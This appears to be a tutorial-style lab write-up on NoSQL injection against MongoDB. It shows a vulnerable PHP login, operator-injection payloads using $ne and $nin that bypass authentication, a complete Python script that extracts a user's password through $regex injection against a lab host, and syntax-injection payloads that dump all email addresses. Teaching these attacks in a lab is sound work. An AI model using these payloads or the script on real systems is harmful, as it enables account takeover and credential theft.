NoSQL Injection

• 8 min read

Injection is Injection

While it may seem complex to think about NoSQL Injection, when we boil down injection attacks to their very essence, we can understand the similarities between SQL Injection and NoSQL Injection.

The root cause of an injection attack is that improper concatenation of untrusted user input into a command can allow an attacker to alter the command itself. With SQL injection, the most common approach is to inject a single or double quote, that terminates the current data concatenation and allows the attacker to modify the query. The same approach applies to NoSQL Injection. If untrusted user input is directly added to the query, we have the opportunity to modify the query itself. However, with NoSQL Injection, even if we can’t escape the current query, we still have the opportunity to manipulate the query itself. Therefore, there are two main types of NoSQL Injection:

  • Syntax Injection - This is similar to SQL injection, where we have the ability to break out of the query and inject our own payload. The key difference to SQL injection is the syntax used to perform the injection attack.
  • Operator Injection—Even if we can’t break out of the query, we could potentially inject a NoSQL query operator that manipulates the query’s behaviour, allowing us to stage attacks such as authentication bypasses.

How to Inject NoSQL

When looking at how NoSQL filters are built, bypassing them to inject any payload might look impossible, as they rely on creating a structured array. Unlike SQL injection, where queries were normally built by simple string concatenation, NoSQL queries require nested associative arrays. From an attacker’s point of view, this means that to inject NoSQL, one must be able to inject arrays into the application.

Luckily for us, many server-side programming languages allow passing array variables by using a special syntax on the query string of an HTTP Request. For the purpose of this example, let’s focus on the following code written in PHP for a simple login page:

PHP
<?php
$con = new MongoDB\Driver\Manager("mongodb://localhost:27017");


if(isset($_POST) && isset($_POST['user']) && isset($_POST['pass'])){
        $user = $_POST['user'];
        $pass = $_POST['pass'];

        $q = new MongoDB\Driver\Query(['username'=>$user, 'password'=>$pass]);
        $record = $con->executeQuery('myapp.login', $q );
        $record = iterator_to_array($record);

        if(sizeof($record)>0){
                $usr = $record[0];

                session_start();
                $_SESSION['loggedin'] = true;
                $_SESSION['uid'] = $usr->username;

                header('Location: /sekr3tPl4ce.php');
                die();
        }
}
header('Location: /?err=1');

?>

The web application is making a query to MongoDB, using the “myapp” database and “login” collection, requesting any document that passes the filter **['username'=>$user, 'password'=>$pass]**, where both $user and $pass are obtained directly from HTTP POST parameters. Let’s take a look at how we can leverage Operator Injection in order to bypass authentication.

If somehow we could send an array to the $user and $pass variables with the following content:

**$user = ['$ne'=>'xxxx']** 

**$pass = ['$ne'=>'yyyy']** 

The resulting filter would end up looking like this:

**['username'=>['$ne'=>'xxxx'], 'password'=>['$ne'=>'yyyy']]**

We could trick the database into returning any document where the username isn’t equal to ‘xxxx,’ and the password isn’t equal to ‘yyyy’. This would probably return all documents in the login collection. As a result, the application would assume a correct login was performed and let us into the application with the privileges of the user corresponding to the first document obtained from the database.

The problem that remains unsolved is how to pass an array as part of a POST HTTP Request. It turns out that PHP and many other languages allow you to pass an array by using the following notation on the POST Request Body:

**user[$ne]=xxxx&pass[$ne]=yyyy**

So let’s fire up our favourite proxy and try to test this. For this guide we will be using Burp Proxy.


Logging in as Other Users

We have managed to bypass the application’s login screen, but with the former technique, we can only login as the first user returned by the database. By making use of the $nin operator, we are going to modify our payload so that we can control which user we want to obtain.

First, the $nin operator allows us to create a filter by specifying criteria where the desired documents have some field, not in a list of values. So if we want to log in as any user except for the user admin, we could modify our payload to look like this:

Burp Request

This would translate to a filter that has the following structure:

**['username'=>['$nin'=>['admin'] ], 'password'=>['$ne'=>'aweasdf']]**

Which tells the database to return any user for whom the username isn’t admin and the password isn’t aweasdf. As a result, we are now granted access to another user’s account.

Notice that the $nin operator receives a list of values to ignore. We can continue to expand the list by adjusting our payload as follows:

Burp Request

This would result in a filter like this:

**['username'=>['$nin'=>['admin', 'jude'] ], 'password'=>['$ne'=>'aweasdf']]**

This can be repeated as many times as needed until we gain access to all of the available accounts.


Script to guess user password using regex

PYTHON
import requests
import string
import re

url = "http://10.66.183.182/login.php"

headers = {
    "Host": "10.66.183.182",
    "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate, br",
    "Content-Type": "application/x-www-form-urlencoded",
    "Origin": "http://10.66.183.182",
    "Connection": "keep-alive",
    "Referer": "http://10.66.183.182/",
    "Upgrade-Insecure-Requests": "1",
}


def get_pass_length(url, headers):
    print("[*] Determining password length...")

    for i in range(1, 31):
        payload = {"user": "john", "pass[$regex]": f"^.{{{i}}}$", "remember": "on"}

        response = requests.post(
            url, data=payload, headers=headers, allow_redirects=False
        )

        if (
            "location" in response.headers
            and "sekr3tPl4ce.php" in response.headers["location"]
        ):
            print(f"[+] Password length is {i}")
            return i

    print("[-] Could not determine password length")
    return None


def brute_force_password(url, headers, pass_length):
    print(f"[*] Brute forcing {pass_length} character password...")

    candidates = string.ascii_letters + string.digits + "!@#$%^&*()_+-=[]{}|;:,.<>?"

    guessed_password = ["?"] * pass_length

    for position in range(pass_length):
        print(f"[*] Testing position {position + 1}/{pass_length}")

        for char in candidates:
            pattern = (
                f"^.{{{position}}}{re.escape(char)}.{{{pass_length - position - 1}}}$"
            )

            payload = {"user": "john", "pass[$regex]": pattern, "remember": "on"}

            response = requests.post(
                url, data=payload, headers=headers, allow_redirects=False
            )

            if (
                "location" in response.headers
                and "sekr3tPl4ce.php" in response.headers["location"]
            ):
                guessed_password[position] = char
                print(f"[+] Position {position + 1}: '{char}'")
                print(f"    Current guess: {''.join(guessed_password)}")
                break

    final_password = "".join(guessed_password)
    print(f"[+] Final password guess: {final_password}")
    return final_password


def test_password(url, headers, password):
    print(f"[*] Testing password: {password}")

    payload = {"user": "john", "pass": password, "remember": "on"}

    response = requests.post(url, data=payload, headers=headers, allow_redirects=False)

    if (
        "location" in response.headers
        and "sekr3tPl4ce.php" in response.headers["location"]
    ):
        print(f"[+] SUCCESS! Password '{password}' is correct!")
        return True
    else:
        print(f"[-] Password '{password}' failed")
        return False


def main():
    pass_length = get_pass_length(url, headers)

    if pass_length:
        password = brute_force_password(url, headers, pass_length)
        test_password(url, headers, password)

        print("\n" + "=" * 50)
        print("Username: john")
        print(f"Password: {password}")
        print("=" * 50)


if __name__ == "__main__":
    main()

Finding Syntax Injection

Now that we have covered Operator Injection, let’s take a look at a Syntax Injection example. A Python application is running to allow you to receive the email address of any username that is provided. To use the application, authenticate via SSH using ssh syntax@10.66.183.182 along with the credentials below:

Once authenticated, you can provide a username as input. Let’s start by simply providing admin:

Terminal

SHELL
ssh syntax@10.66.183.182
syntax@10.66.183.182's password: 
Please provide the username to receive their email:admin
admin@nosql.int
Connection to 10.66.183.182 closed.

We can start to test for Syntax Injection by simply injecting a ' character, which will result in the error seen in the response below:

Terminal

SHELL
syntax@10.66.183.182's password: 
Please provide the username to receive their email:admin'
Traceback (most recent call last):
  File "/home/syntax/script.py", line 17, in <module>
    for x in mycol.find({"$where": "this.username == '" + username + "'"}):
  File "/usr/local/lib/python3.6/dist-packages/pymongo/cursor.py", line 1248, in next
    if len(self.__data) or self._refresh():
  File "/usr/local/lib/python3.6/dist-packages/pymongo/cursor.py", line 1165, in _refresh
    self.__send_message(q)
  File "/usr/local/lib/python3.6/dist-packages/pymongo/cursor.py", line 1053, in __send_message
    operation, self._unpack_response, address=self.__address
  File "/usr/local/lib/python3.6/dist-packages/pymongo/mongo_client.py", line 1272, in _run_operation
    retryable=isinstance(operation, message._Query),
  File "/usr/local/lib/python3.6/dist-packages/pymongo/mongo_client.py", line 1371, in _retryable_read
    return func(session, server, sock_info, read_pref)
  File "/usr/local/lib/python3.6/dist-packages/pymongo/mongo_client.py", line 1264, in _cmd
    sock_info, operation, read_preference, self._event_listeners, unpack_res
  File "/usr/local/lib/python3.6/dist-packages/pymongo/server.py", line 134, in run_operation
    _check_command_response(first, sock_info.max_wire_version)
  File "/usr/local/lib/python3.6/dist-packages/pymongo/helpers.py", line 180, in _check_command_response
    raise OperationFailure(errmsg, code, response, max_wire_version)
pymongo.errors.OperationFailure: Failed to call method, full error: {'ok': 0.0, 'errmsg': 'Failed to call method', 'code': 1, 'codeName': 'InternalError'}
Connection to 10.66.183.182 closed.

The following line in the error message shows us that there is Syntax Injection:

for x in mycol.find({"$where": "this.username == '" + username + "'"}):

We can see that the username variable is directly concatenated to the query string and that a JavaScript function is being executed in the find command, allowing us to inject into the syntax. In this case, we have verbose error messages to give us an indication that injection is possible. However, even without verbose error messages, we could test for Syntax Injection by providing both a false and true condition and seeing that the output differs, as shown in the example below:

Terminal

SHELL
ssh syntax@10.66.183.182
syntax@10.66.183.182's password: 
Please provide the username to receive their email:admin' && 0 && 'x
Connection to 10.66.183.182 closed.

ssh syntax@10.66.183.182
syntax@10.66.183.182's password: 
Please provide the username to receive their email:admin' && 1 && 'x
admin@nosql.int
Connection to 10.66.183.182 closed.

Exploiting Syntax Injection

Now that we have confirmed Syntax Injection, we can leverage this injection point to dump all email addresses. To do this, we want to ensure that the testing statement of the condition always evaluates to true. As we are injecting into the JavaScript, we can use the payload of  '||1||'. Let’s use this to disclose sensitive information:

Terminal

SHELL
ssh syntax@10.66.183.182
syntax@10.66.183.182's password: 
Please provide the username to receive their email:admin'||1||'
admin@nosql.int
pcollins@nosql.int
jsmith@nosql.int
[...]
Connection to 10.66.183.182 closed.

The Exception to the Rule

It is worth noting that for Syntax Injection to occur, the developer has to create custom JavaScript queries. The same function could be performed using the built-in filter functions where ['username' : username] would return the same result but not be vulnerable to injection. As such, Syntax Injection is rare to find, as it means that the developers are not using the built-in functions and filters. While some complex queries might require direct JavaScript, it is always recommended to avoid this to prevent Syntax Injection. The example shown above is for MongoDB; for other NoSQL solutions, similar Syntax Injection cases may exist, but the actual syntax will be different.


Start searching

Enter keywords to search articles.